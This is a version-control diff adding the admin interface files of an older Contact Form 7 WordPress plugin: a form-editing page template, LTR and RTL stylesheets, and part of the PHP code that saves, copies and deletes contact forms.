+	<?php endif; ?>
+
+	<ul class="subsubsub">
+	<?php foreach ( $contact_forms as $v ) : ?>
+	<li><a href="<?php echo wpcf7_admin_url( 'admin.php', array( 'contactform' => $v->id ) ); ?>"<?php if ( $v->id == $current ) echo ' class="current"'; ?>>
+		<?php echo esc_html( $v->title ); ?></a> |</li>
+	<?php endforeach; ?>
+
+	<?php if ( wpcf7_admin_has_edit_cap() ) : ?>
+	<li class="addnew"><a href="<?php echo wpcf7_admin_url( 'admin.php', array( 'contactform' => 'new' ) ); ?>"<?php if ( $unsaved ) echo ' class="current"'; ?>><?php echo esc_html( __( 'Add new', 'wpcf7' ) ); ?></a></li>
+	<?php endif; ?>
+	</ul>
+
+	<br class="clear" />
+
+<?php if ( $cf ) : ?>
+<?php $disabled = ( wpcf7_admin_has_edit_cap() ) ? '' : ' disabled="disabled"'; ?>
+
+<form method="post" action="<?php echo wpcf7_admin_url( 'admin.php', array( 'contactform' => $current ) ); ?>" id="wpcf7-admin-form-element">
+	<?php if ( wpcf7_admin_has_edit_cap() ) wp_nonce_field( 'wpcf7-save_' . $current ); ?>
+	<input type="hidden" id="wpcf7-id" name="wpcf7-id" value="<?php echo $current; ?>" />
+
+	<table class="widefat">
+	<tbody>
+	<tr>
+	<td scope="col">
+	<div style="position: relative;">
+		<input type="text" id="wpcf7-title" name="wpcf7-title" size="40" value="<?php echo esc_attr( $cf->title ); ?>"<?php echo $disabled; ?> />
+
+		<?php if ( ! $unsaved ) : ?>
+		<p class="tagcode">
+			<?php echo esc_html( __( "Copy this code and paste it into your post, page or text widget content.", 'wpcf7' ) ); ?><br />
+
+			<input type="text" id="contact-form-anchor-text" onfocus="this.select();" readonly="readonly" />
+		</p>
+		<?php endif; ?>
+
+		<?php if ( wpcf7_admin_has_edit_cap() ) : ?>
+		<div class="save-contact-form">
+			<input type="submit" class="button button-highlighted" name="wpcf7-save" value="<?php echo esc_attr( __( 'Save', 'wpcf7' ) ); ?>" />
+		</div>
+		<?php endif; ?>
+
+		<?php if ( wpcf7_admin_has_edit_cap() && ! $unsaved ) : ?>
+		<div class="actions-link">
+			<?php $copy_nonce = wp_create_nonce( 'wpcf7-copy_' . $current ); ?>
+			<input type="submit" name="wpcf7-copy" class="copy" value="<?php echo esc_attr( __( 'Copy', 'wpcf7' ) ); ?>"
+			<?php echo "onclick=\"this.form._wpnonce.value = '$copy_nonce'; return true;\""; ?> />
+			|
+
+			<?php $delete_nonce = wp_create_nonce( 'wpcf7-delete_' . $current ); ?>
+			<input type="submit" name="wpcf7-delete" class="delete" value="<?php echo esc_attr( __( 'Delete', 'wpcf7' ) ); ?>"
+			<?php echo "onclick=\"if (confirm('" .
+				esc_js( __( "You are about to delete this contact form.\n  'Cancel' to stop, 'OK' to delete.", 'wpcf7' ) ) .
+				"')) {this.form._wpnonce.value = '$delete_nonce'; return true;} return false;\""; ?> />
+		</div>
+		<?php endif; ?>
+	</div>
+	</td>
+	</tr>
+	</tbody>
+	</table>
+
+	<?php if ( wpcf7_admin_has_edit_cap() ) : ?>
+
+	<table class="widefat" style="margin-top: 1em;">
+	<thead><tr><th scope="col" colspan="2"><?php echo esc_html( __( 'Form', 'wpcf7' ) ); ?></th></tr></thead>
+
+	<tbody>
+	<tr>
+
+	<td scope="col" style="width: 50%;">
+	<div><textarea id="wpcf7-form" name="wpcf7-form" cols="100" rows="20"><?php echo esc_html( $cf->form ); ?></textarea></div>
+	</td>
+
+	<td scope="col" style="width: 50%;">
+	<div id="tag-generator-div"></div>
+	</td>
+
+	</tr>
+	</tbody>
+	</table>
+
+	<table class="widefat" style="margin-top: 1em;">
+	<thead><tr><th scope="col" colspan="2"><?php echo esc_html( __( 'Mail', 'wpcf7' ) ); ?></th></tr></thead>
+
+	<tbody>
+	<tr>
+	<td scope="col" style="width: 50%;">
+
+	<div class="mail-field">
+	<label for="wpcf7-mail-recipient"><?php echo esc_html( __( 'To:', 'wpcf7' ) ); ?></label><br />
+	<input type="text" id="wpcf7-mail-recipient" name="wpcf7-mail-recipient" class="wide" size="70" value="<?php echo esc_attr( $cf->mail['recipient'] ); ?>" />
+	</div>
+
+	<div class="mail-field">
+	<label for="wpcf7-mail-sender"><?php echo esc_html( __( 'From:', 'wpcf7' ) ); ?></label><br />
+	<input type="text" id="wpcf7-mail-sender" name="wpcf7-mail-sender" class="wide" size="70" value="<?php echo esc_attr( $cf->mail['sender'] ); ?>" />
+	</div>
+
+	<div class="mail-field">
+	<label for="wpcf7-mail-subject"><?php echo esc_html( __( 'Subject:', 'wpcf7' ) ); ?></label><br />
+	<input type="text" id="wpcf7-mail-subject" name="wpcf7-mail-subject" class="wide" size="70" value="<?php echo esc_attr( $cf->mail['subject'] ); ?>" />
+	</div>
+
+	<div class="pseudo-hr"></div>
+
+	<div class="mail-field">
+	<label for="wpcf7-mail-additional-headers"><?php echo esc_html( __( 'Additional headers:', 'wpcf7' ) ); ?></label><br />
+	<textarea id="wpcf7-mail-additional-headers" name="wpcf7-mail-additional-headers" cols="100" rows="2"><?php echo esc_html( $cf->mail['additional_headers'] ); ?></textarea>
+	</div>
+
+	<div class="mail-field">
+	<label for="wpcf7-mail-attachments"><?php echo esc_html( __( 'File attachments:', 'wpcf7' ) ); ?></label><br />
+	<input type="text" id="wpcf7-mail-attachments" name="wpcf7-mail-attachments" class="wide" size="70" value="<?php echo esc_attr( $cf->mail['attachments'] ); ?>" />
+	</div>
+
+	<div class="pseudo-hr"></div>
+
+	<div class="mail-field">
+	<input type="checkbox" id="wpcf7-mail-use-html" name="wpcf7-mail-use-html" value="1"<?php echo ( $cf->mail['use_html'] ) ? ' checked="checked"' : ''; ?> />
+	<label for="wpcf7-mail-use-html"><?php echo esc_html( __( 'Use HTML content type', 'wpcf7' ) ); ?></label>
+	</div>
+
+	</td>
+	<td scope="col" style="width: 50%;">
+
+	<div class="mail-field">
+	<label for="wpcf7-mail-body"><?php echo esc_html( __( 'Message body:', 'wpcf7' ) ); ?></label><br />
+	<textarea id="wpcf7-mail-body" name="wpcf7-mail-body" cols="100" rows="16"><?php echo esc_html( $cf->mail['body'] ); ?></textarea>
+	</div>
+
+	</td>
+	</tr>
+	</tbody>
+	</table>
+
+	<table class="widefat" style="margin-top: 1em;">
+	<thead><tr><th scope="col" colspan="2"><?php echo esc_html( __( 'Mail (2)', 'wpcf7' ) ); ?></th></tr></thead>
+
+	<tbody>
+	<tr>
+	<td scope="col" colspan="2">
+	<input type="checkbox" id="wpcf7-mail-2-active" name="wpcf7-mail-2-active" value="1"<?php echo ( $cf->mail_2['active'] ) ? ' checked="checked"' : ''; ?> />
+	<label for="wpcf7-mail-2-active"><?php echo esc_html( __( 'Use mail (2)', 'wpcf7' ) ); ?></label>
+	</td>
+	</tr>
+
+	<tr id="mail-2-fields">
+	<td scope="col" style="width: 50%;">
+
+	<div class="mail-field">
+	<label for="wpcf7-mail-2-recipient"><?php echo esc_html( __( 'To:', 'wpcf7' ) ); ?></label><br />
+	<input type="text" id="wpcf7-mail-2-recipient" name="wpcf7-mail-2-recipient" class="wide" size="70" value="<?php echo esc_attr( $cf->mail_2['recipient'] ); ?>" />
+	</div>
+
+	<div class="mail-field">
+	<label for="wpcf7-mail-2-sender"><?php echo esc_html( __( 'From:', 'wpcf7' ) ); ?></label><br />
+	<input type="text" id="wpcf7-mail-2-sender" name="wpcf7-mail-2-sender" class="wide" size="70" value="<?php echo esc_attr( $cf->mail_2['sender'] ); ?>" />
+	</div>
+
+	<div class="mail-field">
+	<label for="wpcf7-mail-2-subject"><?php echo esc_html( __( 'Subject:', 'wpcf7' ) ); ?></label><br />
+	<input type="text" id="wpcf7-mail-2-subject" name="wpcf7-mail-2-subject" class="wide" size="70" value="<?php echo esc_attr( $cf->mail_2['subject'] ); ?>" />
+	</div>
+
+	<div class="pseudo-hr"></div>
+
+	<div class="mail-field">
+	<label for="wpcf7-mail-2-additional-headers"><?php echo esc_html( __( 'Additional headers:', 'wpcf7' ) ); ?></label><br />
+	<textarea id="wpcf7-mail-2-additional-headers" name="wpcf7-mail-2-additional-headers" cols="100" rows="2"><?php echo esc_html( $cf->mail_2['additional_headers'] ); ?></textarea>
+	</div>
+
+	<div class="mail-field">
+	<label for="wpcf7-mail-2-attachments"><?php echo esc_html( __( 'File attachments:', 'wpcf7' ) ); ?></label><br />
+	<input type="text" id="wpcf7-mail-2-attachments" name="wpcf7-mail-2-attachments" class="wide" size="70" value="<?php echo esc_attr( $cf->mail_2['attachments'] ); ?>" />
+	</div>
+
+	<div class="pseudo-hr"></div>
+
+	<div class="mail-field">
+	<input type="checkbox" id="wpcf7-mail-2-use-html" name="wpcf7-mail-2-use-html" value="1"<?php echo ( $cf->mail_2['use_html'] ) ? ' checked="checked"' : ''; ?> />
+	<label for="wpcf7-mail-2-use-html"><?php echo esc_html( __( 'Use HTML content type', 'wpcf7' ) ); ?></label>
+	</div>
+
+	</td>
+	<td scope="col" style="width: 50%;">
+
+	<div class="mail-field">
+	<label for="wpcf7-mail-2-body"><?php echo esc_html( __( 'Message body:', 'wpcf7' ) ); ?></label><br />
+	<textarea id="wpcf7-mail-2-body" name="wpcf7-mail-2-body" cols="100" rows="16"><?php echo esc_html( $cf->mail_2['body'] ); ?></textarea>
+	</div>
+
+	</td>
+	</tr>
+	</tbody>
+	</table>
+
+	<table class="widefat" style="margin-top: 1em;">
+	<thead><tr><th scope="col"><?php echo esc_html( __( 'Messages', 'wpcf7' ) ); ?> <span id="message-fields-toggle-switch"></span></th></tr></thead>
+
+	<tbody>
+	<tr>
+	<td scope="col">
+	<div id="message-fields">
+
+	<div class="message-field">
+	<label for="wpcf7-message-mail-sent-ok"><em># <?php echo esc_html( __( "Sender's message was sent successfully", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-mail-sent-ok" name="wpcf7-message-mail-sent-ok" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['mail_sent_ok'] ); ?>" />
+	</div>
+
+	<div class="message-field">
+	<label for="wpcf7-message-mail-sent-ng"><em># <?php echo esc_html( __( "Sender's message was failed to send", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-mail-sent-ng" name="wpcf7-message-mail-sent-ng" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['mail_sent_ng'] ); ?>" />
+	</div>
+
+	<div class="message-field">
+	<label for="wpcf7-message-akismet-says-spam"><em># <?php echo esc_html( __( "Akismet judged the sending activity as spamming", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-akismet-says-spam" name="wpcf7-message-akismet-says-spam" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['akismet_says_spam'] ); ?>" />
+	</div>
+
+	<div class="message-field">
+	<label for="wpcf7-message-validation-error"><em># <?php echo esc_html( __( "Validation errors occurred", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-validation-error" name="wpcf7-message-validation-error" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['validation_error'] ); ?>" />
+	</div>
+
+	<div class="message-field" style="margin-top: 1em;">
+	<label for="wpcf7-message-invalid-required"><em># <?php echo esc_html( __( "There is a field that sender is needed to fill in", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-invalid-required" name="wpcf7-message-invalid-required" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['invalid_required'] ); ?>" />
+	</div>
+
+	<div class="message-field">
+	<label for="wpcf7-message-invalid-email"><em># <?php echo esc_html( __( "Email address that sender entered is invalid", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-invalid-email" name="wpcf7-message-invalid-email" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['invalid_email'] ); ?>" />
+	</div>
+
+	<div class="message-field">
+	<label for="wpcf7-message-accept-terms"><em># <?php echo esc_html( __( "There is a field of term that sender is needed to accept", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-accept-terms" name="wpcf7-message-accept-terms" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['accept_terms'] ); ?>" />
+	</div>
+
+	<div class="message-field">
+	<label for="wpcf7-message-quiz-answer-not-correct"><em># <?php echo esc_html( __( "Sender doesn't enter the correct answer to the quiz", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-quiz-answer-not-correct" name="wpcf7-message-quiz-answer-not-correct" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['quiz_answer_not_correct'] ); ?>" />
+	</div>
+
+	<div class="message-field">
+	<label for="wpcf7-message-captcha-not-match"><em># <?php echo esc_html( __( "The code that sender entered does not match the CAPTCHA", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-captcha-not-match" name="wpcf7-message-captcha-not-match" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['captcha_not_match'] ); ?>" />
+	</div>
+
+	<div class="message-field">
+	<label for="wpcf7-message-upload-failed"><em># <?php echo esc_html( __( "Uploading a file fails for any reason", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-upload-failed" name="wpcf7-message-upload-failed" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['upload_failed'] ); ?>" />
+	</div>
+
+	<div class="message-field">
+	<label for="wpcf7-message-upload-file-type-invalid"><em># <?php echo esc_html( __( "Uploaded file is not allowed file type", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-upload-file-type-invalid" name="wpcf7-message-upload-file-type-invalid" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['upload_file_type_invalid'] ); ?>" />
+	</div>
+
+	<div class="message-field">
+	<label for="wpcf7-message-upload-file-too-large"><em># <?php echo esc_html( __( "Uploaded file is too large", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-upload-file-too-large" name="wpcf7-message-upload-file-too-large" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['upload_file_too_large'] ); ?>" />
+	</div>
+
+	<div class="message-field">
+	<label for="wpcf7-message-upload-failed-php-error"><em># <?php echo esc_html( __( "Uploading a file fails for PHP error", 'wpcf7' ) ); ?></em></label><br />
+	<input type="text" id="wpcf7-message-upload-failed-php-error" name="wpcf7-message-upload-failed-php-error" class="wide" size="70" value="<?php echo esc_attr( $cf->messages['upload_failed_php_error'] ); ?>" />
+	</div>
+
+	</div>
+	</td>
+	</tr>
+	</tbody>
+	</table>
+
+	<table class="widefat" style="margin-top: 1em;">
+	<thead><tr><th scope="col"><?php echo esc_html( __( 'Additional Settings', 'wpcf7' ) ); ?> <span id="additional-settings-fields-toggle-switch"></span></th></tr></thead>
+
+	<tbody>
+	<tr>
+	<td scope="col">
+	<div id="additional-settings-fields">
+	<textarea id="wpcf7-additional-settings" name="wpcf7-additional-settings" cols="100" rows="8"><?php echo esc_html( $cf->additional_settings ); ?></textarea>
+	</div>
+	</td>
+	</tr>
+	</tbody>
+	</table>
+
+	<table class="widefat" style="margin-top: 1em;">
+	<tbody>
+	<tr>
+	<td scope="col">
+	<div class="save-contact-form">
+	<input type="submit" class="button button-highlighted" name="wpcf7-save" value="<?php echo esc_attr( __( 'Save', 'wpcf7' ) ); ?>" />
+	</div>
+	</td>
+	</tr>
+	</tbody>
+	</table>
+
+    <?php endif; ?>
+
+</form>
+
+<?php endif; ?>
+</div>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/admin-stylesheet-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/admin-stylesheet-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/admin-stylesheet-rtl.css	(revision 44)
@@ -0,0 +1,22 @@
+ul.subsubsub li.addnew {
+	margin-left: 0;
+	margin-right: 0.5em;
+}
+div.save-contact-form {
+	direction: rtl;
+}
+div.actions-link {
+	right: auto;
+	left: 0;
+}
+span#message-fields-toggle-switch {
+	margin-left: 0;
+	margin-right: 1em;
+}
+div.tg-pane table caption {
+	text-align: right;
+}
+div.tg-dropdown {
+	left: auto;
+	right: 0;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/admin-stylesheet.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/admin-stylesheet.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/admin-stylesheet.css	(revision 44)
@@ -0,0 +1,170 @@
+div.wpcf7 div.donation {
+	border-width: 1px;
+	border-style: solid;
+	padding: 0 0.6em;
+	margin: 5px 0 15px;
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	background-color: #ffffe0;
+	border-color: #e6db55;
+	text-align: center;
+}
+
+div.wpcf7 div.donation p {
+	margin: 0.5em 0;
+	line-height: 1;
+	padding: 2px;
+}
+
+div.wpcf7 div.donation p img {
+	vertical-align: text-bottom;
+}
+
+div.wpcf7 div.donation p em {
+	padding-left: 1em;
+	color: #555;
+	font-weight: bold;
+}
+
+div.wpcf7 ul.subsubsub {
+	white-space: normal;
+}
+ul.subsubsub li.addnew {
+	margin-left: 0.5em;
+}
+ul.subsubsub li.addnew a {
+	color: #e6255b;
+}
+ul.subsubsub li.addnew a:hover,
+ul.subsubsub li.addnew a:active {
+  color: #999;
+}
+div.save-contact-form {
+	padding: 1.4em 0 0 0;
+	text-align: right;
+}
+div.actions-link {
+	position: absolute;
+	top: 0;
+	right: 0;
+	margin: 0;
+	padding: 0;
+}
+div.actions-link input {
+	padding: 0;
+	margin: 0;
+	border: none;
+	background-color: #fff;
+	font-size: 11px;
+	cursor: pointer;
+}
+div.actions-link input.copy {
+	color: #006505;
+}
+div.actions-link input.delete {
+	color: #bc0b0b;
+}
+input#wpcf7-title {
+	color: #555;
+	background-color: #fff;
+	border: none;
+	font: bold 20px serif;
+}
+p.tagcode {
+	color: #333;
+	margin: 2ex 0 1ex 1em;
+}
+input#contact-form-anchor-text {
+	color: #fff;
+	background: #8a796d;
+	border: none;
+	width: 96%;
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px; 
+}
+span#message-fields-toggle-switch, span#additional-settings-fields-toggle-switch {
+	margin-left: 1em;
+	font-weight: normal;
+	font-size: smaller;
+	color: #2583ad;
+	cursor: pointer;
+}
+div.pseudo-hr {
+	border-bottom: 1px solid #fff;
+	margin: 0.7em 0;
+}
+input, textarea {
+	border: 1px solid #dfdfdf;
+}
+input.wide {
+	width: 100%;
+}
+textarea {
+	width: 100%;
+}
+label.disabled {
+	color: #777;
+}
+div.tag-generator {
+	position: relative;
+	background: #fff;
+	padding: 5px 0 5px 1px;
+}
+div.tg-pane {
+    border: 1px dashed #999;
+    background: #f1f1f1;
+    margin: 1ex 0 0 0;
+    padding: 10px;
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+}
+div.tg-pane table {
+	width: 100%;
+	margin: 0 0 0.7em 0;
+}
+div.tg-pane table caption {
+	text-align: left;
+	padding: 0 0 0.2em 0;
+	font-weight: bolder;
+	color: #777;
+}
+div.tg-pane table code {
+	background-color: inherit;
+}
+div.tg-pane table td {
+	vertical-align: top;
+	width: 50%;
+}
+div.tg-pane input.tag {
+	border: none;
+	color: #fff;
+	background-color: #8a796d;
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+}
+div.tg-dropdown {
+    position: absolute;
+    top: 26px;
+	left: 0;
+    z-index: 10;
+    border: 1px solid #ddd;
+}
+span.tg-closebutton {
+    color: #777;
+    font: bold 18px monospace;
+    padding: 1px 4px;
+    cursor: pointer;
+}
+div.tg-panetitle {
+    font: bold 132% sans-serif;
+    margin: 0 0 10px;
+    color: #777;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/admin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/admin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/admin.php	(revision 44)
@@ -0,0 +1,393 @@
+<?php
+
+function wpcf7_admin_has_edit_cap() {
+	return current_user_can( WPCF7_ADMIN_READ_WRITE_CAPABILITY );
+}
+
+function wpcf7_admin_add_pages() {
+
+	if ( isset( $_POST['wpcf7-save'] ) && wpcf7_admin_has_edit_cap() ) {
+		$id = $_POST['wpcf7-id'];
+		check_admin_referer( 'wpcf7-save_' . $id );
+
+		if ( ! $contact_form = wpcf7_contact_form( $id ) ) {
+			$contact_form = new WPCF7_ContactForm();
+			$contact_form->initial = true;
+		}
+
+		$title = trim( $_POST['wpcf7-title'] );
+		$form = trim( $_POST['wpcf7-form'] );
+		$mail = array(
+			'subject' => trim( $_POST['wpcf7-mail-subject'] ),
+			'sender' => trim( $_POST['wpcf7-mail-sender'] ),
+			'body' => trim( $_POST['wpcf7-mail-body'] ),
+			'recipient' => trim( $_POST['wpcf7-mail-recipient'] ),
+			'additional_headers' => trim( $_POST['wpcf7-mail-additional-headers'] ),
+			'attachments' => trim( $_POST['wpcf7-mail-attachments'] ),
+			'use_html' => ( 1 == $_POST['wpcf7-mail-use-html'] ) ? true : false
+		);
+		$mail_2 = array(
+			'active' => ( 1 == $_POST['wpcf7-mail-2-active'] ) ? true : false,
+			'subject' => trim( $_POST['wpcf7-mail-2-subject'] ),
+			'sender' => trim( $_POST['wpcf7-mail-2-sender'] ),
+			'body' => trim( $_POST['wpcf7-mail-2-body'] ),
+			'recipient' => trim( $_POST['wpcf7-mail-2-recipient'] ),
+			'additional_headers' => trim( $_POST['wpcf7-mail-2-additional-headers'] ),
+			'attachments' => trim( $_POST['wpcf7-mail-2-attachments'] ),
+			'use_html' => ( 1 == $_POST['wpcf7-mail-2-use-html'] ) ? true : false
+		);
+		$messages = array(
+			'mail_sent_ok' => trim( $_POST['wpcf7-message-mail-sent-ok'] ),
+			'mail_sent_ng' => trim( $_POST['wpcf7-message-mail-sent-ng'] ),
+			'akismet_says_spam' => trim( $_POST['wpcf7-message-akismet-says-spam'] ),
+			'validation_error' => trim( $_POST['wpcf7-message-validation-error'] ),
+			'accept_terms' => trim( $_POST['wpcf7-message-accept-terms'] ),
+			'invalid_email' => trim( $_POST['wpcf7-message-invalid-email'] ),
+			'invalid_required' => trim( $_POST['wpcf7-message-invalid-required'] ),
+			'quiz_answer_not_correct' => trim( $_POST['wpcf7-message-quiz-answer-not-correct'] ),
+			'captcha_not_match' => trim( $_POST['wpcf7-message-captcha-not-match'] ),
+			'upload_failed' => trim( $_POST['wpcf7-message-upload-failed'] ),
+			'upload_file_type_invalid' => trim( $_POST['wpcf7-message-upload-file-type-invalid'] ),
+			'upload_file_too_large' => trim( $_POST['wpcf7-message-upload-file-too-large'] ),
+			'upload_failed_php_error' => trim( $_POST['wpcf7-message-upload-failed-php-error'] )
+		);
+		$additional_settings = trim( $_POST['wpcf7-additional-settings'] );
+
+		$query = array();
+		$query['message'] = ( $contact_form->initial ) ? 'created' : 'saved';
+
+		$contact_form->title = $title;
+		$contact_form->form = $form;
+		$contact_form->mail = $mail;
+		$contact_form->mail_2 = $mail_2;
+		$contact_form->messages = $messages;
+		$contact_form->additional_settings = $additional_settings;
+
+		$contact_form->save();
+
+		$query['contactform'] = $contact_form->id;
+		$redirect_to = wpcf7_admin_url( 'admin.php', $query );
+		wp_redirect( $redirect_to );
+		exit();
+	} elseif ( isset( $_POST['wpcf7-copy'] ) && wpcf7_admin_has_edit_cap() ) {
+		$id = $_POST['wpcf7-id'];
+		check_admin_referer( 'wpcf7-copy_' . $id );
+
+		$query = array();
+
+		if ( $contact_form = wpcf7_contact_form( $id ) ) {
+			$new_contact_form = $contact_form->copy();
+			$new_contact_form->save();
+
+			$query['contactform'] = $new_contact_form->id;
+			$query['message'] = 'created';
+		} else {
+			$query['contactform'] = $contact_form->id;
+		}
+
+		$redirect_to = wpcf7_admin_url( 'admin.php', $query );
+		wp_redirect( $redirect_to );
+		exit();
+	} elseif ( isset( $_POST['wpcf7-delete'] ) && wpcf7_admin_has_edit_cap() ) {
+		$id = $_POST['wpcf7-id'];
+		check_admin_referer( 'wpcf7-delete_' . $id );
+
+		if ( $contact_form = wpcf7_contact_form( $id ) )
+			$contact_form->delete();
+
+		$redirect_to = wpcf7_admin_url( 'admin.php', array( 'message' => 'deleted' ) );
+		wp_redirect( $redirect_to );
+		exit();
+	} elseif ( isset( $_GET['wpcf7-create-table'] ) ) {
+		check_admin_referer( 'wpcf7-create-table' );
+
+		$query = array();
+
+		if ( ! wpcf7_table_exists() && current_user_can( 'activate_plugins' ) ) {
+			wpcf7_install();
+			if ( wpcf7_table_exists() ) {
+				$query['message'] = 'table_created';
+			} else {
+				$query['message'] = 'table_not_created';
+			}
+		}
+
+		wp_redirect( wpcf7_admin_url( 'admin.php', $query ) );
+		exit();
+	}
+
+	add_menu_page( __( 'Contact Form 7', 'wpcf7' ), __( 'Contact', 'wpcf7' ),
+		WPCF7_ADMIN_READ_CAPABILITY, wpcf7_plugin_path( 'admin/admin.php' ),
+		'wpcf7_admin_management_page' );
+
+	wpcf7_add_contact_page( __( 'Edit Contact Forms', 'wpcf7' ), __( 'Edit', 'wpcf7' ),
+		WPCF7_ADMIN_READ_CAPABILITY, wpcf7_plugin_path( 'admin/admin.php' ),
+		'wpcf7_admin_management_page' );
+}
+
+add_action( 'admin_menu', 'wpcf7_admin_add_pages', 9 );
+
+function wpcf7_add_contact_page( $page_title, $menu_title, $access_level,
+	$file, $function = '', $icon_url = '' ) {
+
+	add_submenu_page( wpcf7_plugin_path( 'admin/admin.php' ),
+		$page_title, $menu_title, $access_level, $file, $function = '', $icon_url = '' );
+}
+
+function wpcf7_admin_head() {
+	global $plugin_page;
+
+	if ( ! isset( $plugin_page ) || 0 !== strpos( $plugin_page, WPCF7_PLUGIN_NAME ) )
+		return;
+
+	$admin_stylesheet_url = wpcf7_plugin_url( 'admin/admin-stylesheet.css' );
+	echo '<link rel="stylesheet" href="' . $admin_stylesheet_url . '" type="text/css" />';
+
+	if ( 'rtl' == get_bloginfo( 'text_direction' ) ) {
+		$admin_stylesheet_rtl_url = wpcf7_plugin_url( 'admin/admin-stylesheet-rtl.css' );
+		echo '<link rel="stylesheet" href="' . $admin_stylesheet_rtl_url . '" type="text/css" />';
+	}
+
+?>
+<script type="text/javascript">
+//<![CDATA[
+var _wpcf7 = {
+	captchaMod: <?php echo ( class_exists( 'ReallySimpleCaptcha' ) ) ? 'true' : 'false' ?>
+};
+//]]>
+</script>
+<?php
+}
+
+add_action( 'admin_head', 'wpcf7_admin_head' );
+
+function wpcf7_admin_load_js() {
+	global $pagenow;
+
+	if ( ! is_admin() )
+		return;
+
+	if ( 'admin.php' != $pagenow )
+		return;
+
+	if ( false === strpos( $_GET['page'], 'contact-form-7' ) )
+		return;
+
+	wp_enqueue_script( 'wpcf7-admin', wpcf7_plugin_url( 'admin/wpcf7-admin.js' ), array('jquery'), WPCF7_VERSION, true );
+	wp_localize_script( 'wpcf7-admin', '_wpcf7L10n', array(
+		'optional' => __( 'optional', 'wpcf7' ),
+		'generateTag' => __( 'Generate Tag', 'wpcf7' ),
+		'textField' => __( 'Text field', 'wpcf7' ),
+		'emailField' => __( 'Email field', 'wpcf7' ),
+		'textArea' => __( 'Text area', 'wpcf7' ),
+		'menu' => __( 'Drop-down menu', 'wpcf7' ),
+		'checkboxes' => __( 'Checkboxes', 'wpcf7' ),
+		'radioButtons' => __( 'Radio buttons', 'wpcf7' ),
+		'acceptance' => __( 'Acceptance', 'wpcf7' ),
+		'isAcceptanceDefaultOn' => __( "Make this checkbox checked by default?", 'wpcf7' ),
+		'isAcceptanceInvert' => __( "Make this checkbox work inversely?", 'wpcf7' ),
+		'isAcceptanceInvertMeans' => __( "* That means visitor who accepts the term unchecks it.", 'wpcf7' ),
+		'captcha' => __( 'CAPTCHA', 'wpcf7' ),
+		'quiz' => __( 'Quiz', 'wpcf7' ),
+		'quizzes' => __( 'Quizzes', 'wpcf7' ),
+		'quizFormatDesc' => __( "* quiz|answer (e.g. 1+1=?|2)", 'wpcf7' ),
+		'fileUpload' => __( 'File upload', 'wpcf7' ),
+		'bytes' => __( 'bytes', 'wpcf7' ),
+		'submit' => __( 'Submit button', 'wpcf7' ),
+		'tagName' => __( 'Name', 'wpcf7' ),
+		'isRequiredField' => __( 'Required field?', 'wpcf7' ),
+		'allowsMultipleSelections' => __( 'Allow multiple selections?', 'wpcf7' ),
+		'insertFirstBlankOption' => __( 'Insert a blank item as the first option?', 'wpcf7' ),
+		'makeCheckboxesExclusive' => __( 'Make checkboxes exclusive?', 'wpcf7' ),
+		'menuChoices' => __( 'Choices', 'wpcf7' ),
+		'label' => __( 'Label', 'wpcf7' ),
+		'defaultValue' => __( 'Default value', 'wpcf7' ),
+		'akismet' => __( 'Akismet', 'wpcf7' ),
+		'akismetAuthor' => __( "This field requires author's name", 'wpcf7' ),
+		'akismetAuthorUrl' => __( "This field requires author's URL", 'wpcf7' ),
+		'akismetAuthorEmail' => __( "This field requires author's email address", 'wpcf7' ),
+		'generatedTag' => __( "Copy this code and paste it into the form left.", 'wpcf7' ),
+		'fgColor' => __( "Foreground color", 'wpcf7' ),
+		'bgColor' => __( "Background color", 'wpcf7' ),
+		'imageSize' => __( "Image size", 'wpcf7' ),
+		'imageSizeSmall' => __( "Small", 'wpcf7' ),
+		'imageSizeMedium' => __( "Medium", 'wpcf7' ),
+		'imageSizeLarge' => __( "Large", 'wpcf7' ),
+		'imageSettings' => __( "Image settings", 'wpcf7' ),
